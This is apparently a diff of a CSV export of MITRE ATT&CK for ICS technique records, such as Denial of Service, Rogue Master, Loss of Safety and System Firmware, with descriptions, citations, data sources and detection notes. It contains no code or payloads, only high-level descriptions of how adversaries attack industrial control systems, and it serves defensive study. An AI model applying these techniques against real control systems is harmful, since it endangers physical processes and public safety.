Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment. +Detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0809', 'external_id': 'T0809'}, {'source_name': 'EAttack File Deletion', 'description': 'Enterprise ATT&CK. (2018, January 11). File Deletion. Retrieved May 17, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1107'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Matan Dobrushin - Otorio'],"['Command: Command Execution', 'File: File Deletion', 'File: File Modification', 'Process: Process Creation']",,,,,"['Control Server', 'Human-Machine Interface', 'Field Controller/RTU/PLC/IED']",,,,,,,, +attack-pattern,attack-pattern--1b22b676-9347-4c55-9a35-ef0dc653db5b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Denial of Service,"Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment. Some ICS devices are particularly sensitive to DoS events, and may become unresponsive in reaction to even a simple ping sweep. Adversaries may also attempt to execute a Permanent Denial-of-Service (PDoS) against certain devices, such as in the case of the BrickerBot malware. (Citation: BrickerBot - ICS-CERT - Alert) @@ -4490,164 +4120,126 @@ Adversaries may exploit a software vulnerability to cause a denial of service by Adversaries may have prior knowledge about industrial protocols or control devices used in the environment through Control Device Identification. There are examples of adversaries remotely causing a Device Restart/Shutdown by exploiting a vulnerability that induces uncontrolled resource consumption. (Citation: Industroyer - ICS-CERT ADV) (Citation: Industroyer - CWE-400) (Citation: Industroyer - CVE-2015-5374) -In the Maroochy attack, the adversary was able to shut an investigator out of the network. (Citation: Maroochy - MITRE - 200808)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0814', external_id='T0814'), ExternalReference(source_name='BrickerBot - ICS-CERT - Alert', description='ICS-CERT. (2017, April 18). CS Alert (ICS-ALERT-17-102-01A) BrickerBot Permanent Denial-of-Service Attack. Retrieved October 24, 2019.', url='https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A'), ExternalReference(source_name='Maroochy - MITRE - 200808', description='Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', url='https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'), ExternalReference(source_name='Industroyer - ICS-CERT ADV', description='ICS-CERT. (2018, August 27). Advisory (ICSA-15-202-01) - Siemens SIPROTEC Denial-of-Service Vulnerability. Retrieved March 14, 2019.', url='https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01'), ExternalReference(source_name='Industroyer - CWE-400', description='Common Weakness Enumeration. (2019, January 03). CWE-400: Uncontrolled Resource Consumption. Retrieved March 14, 2019.', url='http://cwe.mitre.org/data/definitions/400.html'), ExternalReference(source_name='Industroyer - CVE-2015-5374', description='MITRE. (2018, March 22). CVE-2015-5374. Retrieved March 14, 2019.', url='https://nvd.nist.gov/vuln/detail/CVE-2015-5374')]",attack-pattern--1b22b676-9347-4c55-9a35-ef0dc653db5b,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='inhibit-response-function')]",2020-05-21 17:43:26.506000+00:00,Denial of Service,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Alarm history', 'Data historian', 'Network protocol analysis', 'Packet capture', 'Sequential event recorder']",,,,,,,,,,,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session.With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website. +In the Maroochy attack, the adversary was able to shut an investigator out of the network. (Citation: Maroochy - MITRE - 200808)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0814', 'external_id': 'T0814'}, {'source_name': 'BrickerBot - ICS-CERT - Alert', 'description': 'ICS-CERT. (2017, April 18). CS Alert (ICS-ALERT-17-102-01A) BrickerBot Permanent Denial-of-Service Attack. Retrieved October 24, 2019.', 'url': 'https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'source_name': 'Industroyer - ICS-CERT ADV', 'description': 'ICS-CERT. (2018, August 27). Advisory (ICSA-15-202-01) - Siemens SIPROTEC Denial-of-Service Vulnerability. Retrieved March 14, 2019.', 'url': 'https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01'}, {'source_name': 'Industroyer - CWE-400', 'description': 'Common Weakness Enumeration. (2019, January 03). CWE-400: Uncontrolled Resource Consumption. Retrieved March 14, 2019.', 'url': 'http://cwe.mitre.org/data/definitions/400.html'}, {'source_name': 'Industroyer - CVE-2015-5374', 'description': 'MITRE. (2018, March 22). CVE-2015-5374. Retrieved March 14, 2019.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2015-5374'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Operational Databases: Process History/Live Data']",,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,, +attack-pattern,attack-pattern--7830cfcf-b268-4ac0-a69e-73c6affbae9a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Drive-by Compromise,"Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session.With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website. The adversary may target a specific community, such as trusted third party suppliers or other industry specific groups, which often visit the target website. This kind of targeted attack relies on a common interest, and is known as a strategic web compromise or watering hole attack. The National Cyber Awareness System (NCAS) has issued a Technical Alert (TA) regarding Russian government cyber activity targeting critical infrastructure sectors. - (Citation: Alert - CISA TA18-074A) Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0817', external_id='T0817'), ExternalReference(source_name='Alert - CISA TA18-074A', description='NCAS. (2018, March 15). Alert (TA18-074A) Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved October 11, 2019.', url='https://www.us-cert.gov/ncas/alerts/TA18-074A')]",attack-pattern--7830cfcf-b268-4ac0-a69e-73c6affbae9a,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics')]",2020-05-21 17:43:26.506000+00:00,Drive-by Compromise,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Packet capture', 'Network device logs', 'process use of network', 'Web proxy', 'SSl/TLS inspection', 'Network intrusion detection system']",,,,,,,,,,,,,,['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O. (Citation: PLC-Blaster 2),"[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0877', external_id='T0877'), ExternalReference(source_name='PLC-Blaster 2', description='Spenneberg, Ralf. (2016). PLC-Blaster. Retrieved June 6, 2019.', url='https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf')]",attack-pattern--53a48c74-0025-45f4-b04a-baa853df8204,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='collection-ics')]",2020-05-21 17:43:26.506000+00:00,I/O Image,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Controller program'],,,,,,,,,,,,,,['Field Controller/RTU/PLC/IED'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) - -Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0826', external_id='T0826'), ExternalReference(source_name='Reference - Corero', description='Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', url='https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'), ExternalReference(source_name='Reference - SANS - 201510', description='Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', url='https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'), ExternalReference(source_name='Reference - RIoT', description='Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.')]",attack-pattern--b5b9bacb-97f2-4249-b804-47fd44de1f95,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impact-ics')]",2020-05-21 17:43:26.506000+00:00,Loss of Availability,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,,,['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0829', external_id='T0829'), ExternalReference(source_name='Reference - Corero', description='Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', url='https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'), ExternalReference(source_name='Reference - SANS - 201510', description='Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', url='https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'), ExternalReference(source_name='Reference - RIoT', description='Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.')]",attack-pattern--138979ba-0430-4de6-a128-2fc0b056ba36,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impact-ics')]",2020-05-21 17:43:26.506000+00:00,Loss of View,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,,,"['Human-Machine Interface', 'Engineering Workstation']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions. + (Citation: Alert - CISA TA18-074A) Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0817', 'external_id': 'T0817'}, {'source_name': 'Alert - CISA TA18-074A', 'description': 'NCAS. (2018, March 15). Alert (TA18-074A) Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved October 11, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-074A'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'File: File Creation', 'Network Traffic: Network Traffic Content', 'Process: Process Creation']",,,,,['None'],,,,,,,, +attack-pattern,attack-pattern--53a48c74-0025-45f4-b04a-baa853df8204,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-14T15:25:32.143Z,I/O Image,Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O. (Citation: PLC-Blaster 2) Adversaries may collect the I/O Image state of a PLC by utilizing a device’s Native API to access the memory regions directly. The collection of the PLC’s I/O state could be used to replace values or inform future stages of an attack.,"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0877', 'external_id': 'T0877'}, {'source_name': 'PLC-Blaster 2', 'description': 'Spenneberg, Ralf. (2016). PLC-Blaster. Retrieved June 6, 2019.', 'url': 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf'}, {'source_name': 'Stuxnet - Symantec - 201102', 'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Asset: Software/Firmware'],,,,,['Field Controller/RTU/PLC/IED'],,,,,,,, +attack-pattern,attack-pattern--ead7bd34-186e-4c79-9a4d-b65bcce6ed9d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Lateral Tool Transfer,"Adversaries may transfer tools or other files from one system to another to stage adversary tools or other files over the course of an operation. (Citation: EAttack Lateral Tool Transfer) Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. (Citation: EAttack Remote File Copy) -Applications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0849', external_id='T0849')]",attack-pattern--ba203963-3182-41ac-af14-7e7ebc83cd61,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='evasion-ics')]",2021-04-12 16:35:26.506000+00:00,Masquerading,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File Monitoring', 'Process monitoring', 'Binary file metadata']",,,,,,,,,,,,,,"['Human-Machine Interface', 'Control Server']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment. +In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0867', 'external_id': 'T0867'}, {'source_name': 'EAttack Lateral Tool Transfer', 'description': 'Enterprise ATT&CK. (n.d.). Lateral Tool Transfer. Retrieved October 27, 2019.', 'url': 'https://attack.mitre.org/techniques/T1570/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Creation', 'File: File Metadata', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation']",,,,,"['Human-Machine Interface', 'Control Server', 'Data Historian']",,,,,,,, +attack-pattern,attack-pattern--5fa00fdd-4a55-4191-94a0-564181d7fec2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-04-12T07:57:26.506Z,Loss of Safety,Adversaries may compromise safety system functions designed to maintain safe operation of a process when unacceptable or dangerous conditions occur. Safety systems are often composed of the same elements as control systems but have the sole purpose of ensuring the process fails in a predetermined safe manner. Many unsafe conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable safety system functions as a prerequisite to subsequent attack execution or to allow for future unsafe conditionals to go unchecked. Detection of a Loss of Safety by operators can result in the shutdown of a process due to strict policies regarding safety systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions.,"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0880', 'external_id': 'T0880'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['None'],,,,,,,, +attack-pattern,attack-pattern--4c2e1408-9d68-4187-8e6b-a77bc52700ec,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-04-12T07:57:26.506Z,Manipulation of View,"Adversaries may attempt to manipulate the information reported back to operators or controllers. This manipulation may be short term or sustained. During this time the process itself could be in a much different state than what is reported. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) -This technique is similar to System Firmware, but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices. (Citation: References - Module Firmware) - -An easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the following: (Citation: References - Module Firmware) +Operators may be fooled into doing something that is harmful to the system in a loss of view situation. With a manipulated view into the systems, operators may issue inappropriate control sequences that introduce faults or catastrophic failures into the system. Business analysis systems can also be provided with inaccurate data leading to bad management decisions.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0832', 'external_id': 'T0832'}, {'source_name': 'Reference - Corero', 'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'source_name': 'Reference - SANS - 201510', 'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'source_name': 'Reference - RIoT', 'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Engineering Workstation', 'Human-Machine Interface', 'Field Controller/RTU/PLC/IED']",,,,,,,, +attack-pattern,attack-pattern--be69c571-d746-4b1f-bdd0-c0c9817e9068,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Program Download,"Adversaries may perform a program download to transfer a user program to a controller. ariations of program download, such as online edit and program append, allow a controller to continue running during the transfer and reconfiguration process without interruption to process control. However, before starting a full program download (i.e., download all) a controller may need to go into a stop state. This can have negative consequences on the physical process, especially if the controller is not able to fulfill a time-sensitive action. Adversaries may choose to avoid a download all in favor of an online edit or program append to avoid disrupting the physical process. An adversary may need to use the technique Detect Operating Mode or Change Operating Mode to make sure the controller is in the proper mode to accept a program download. The granularity of control to transfer a user program in whole or parts is dictated by the management protocol (e.g., S7CommPlus, TriStation) and underlying controller API. Thus, program download is a high-level term for the suite of vendor-specific API calls used to configure a controller’s user program memory space. Modify Controller Tasking and Modify Program represent the configuration changes that are transferred to a controller via a program download.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0843', 'external_id': 'T0843'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Joe Slowik - Dragos'],"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Device Alarm']",,,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,, +attack-pattern,attack-pattern--b14395bd-5419-4ef4-9bd8-696936f509bb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Rogue Master,"Adversaries may setup a rogue master to leverage control server functions to communicate with outstations. A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations. In the case of the 2017 Dallas Siren incident, adversaries used a rogue master to send command messages to the 156 distributed sirens across the city, either through a single rogue transmitter with a strong signal, or using many distributed repeaters.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0848', 'external_id': 'T0848'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Operational Databases: Process/Event Alarm']",,,,,"['Human-Machine Interface', 'Control Server', 'Engineering Workstation']",,,,,,,, +attack-pattern,attack-pattern--063b5b92-5361-481a-9c3f-95492ed9a2d8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Service Stop,"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. (Citation: EAttack Service Stop) -*Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time. +Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction. (Citation: EAttack Service Stop)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0881', 'external_id': 'T0881'}, {'source_name': 'EAttack Service Stop', 'description': 'Enterprise ATT&CK. (n.d.). Service Stop. Retrieved October 29, 2019.', 'url': 'https://attack.mitre.org/techniques/T1489/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Modification', 'Process: OS API Execution', 'Process: Process Creation', 'Process: Process Termination', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Modification']",,,,,"['Human-Machine Interface', 'Control Server', 'Data Historian', 'Engineering Workstation']",,,,,,,, +attack-pattern,attack-pattern--b9160e77-ea9e-4ba9-b1c8-53a3c466b13d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,System Firmware,"System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers.(Citation: Research - Firmware Modification)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'persistence-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0857', 'external_id': 'T0857'}, {'source_name': 'Research - Firmware Modification', 'description': 'Basnight, Zachry, et al.. (n.d.). Retrieved October 17, 2017.', 'url': 'http://www.sciencedirect.com/science/article/pii/S1874548213000231'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Firmware: Firmware Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED', 'Input/Output Server']",,,,,,,, +attack-pattern,attack-pattern--cd2c76a4-5e23-4ca5-9c40-d5e0604f7101,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Valid Accounts,"Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence.(Citation: BlackEnergy - Booz Allen Hamilton) The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'persistence-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0859', 'external_id': 'T0859'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}, {'source_name': 'BlackEnergy - Booz Allen Hamilton', 'description': 'Booz Allen Hamilton. (n.d.). When The Lights Went Out. Retrieved October 22, 2019.', 'url': 'https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Logon Session: Logon Session Creation', 'User Account: User Account Authentication']",,,,,"['Control Server', 'Data Historian', 'Engineering Workstation', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,,,,,, +attack-pattern,attack-pattern--008b8f56-6107-48be-aa9f-746f927dbb61,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Block Command Message,"Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition.(Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0803', 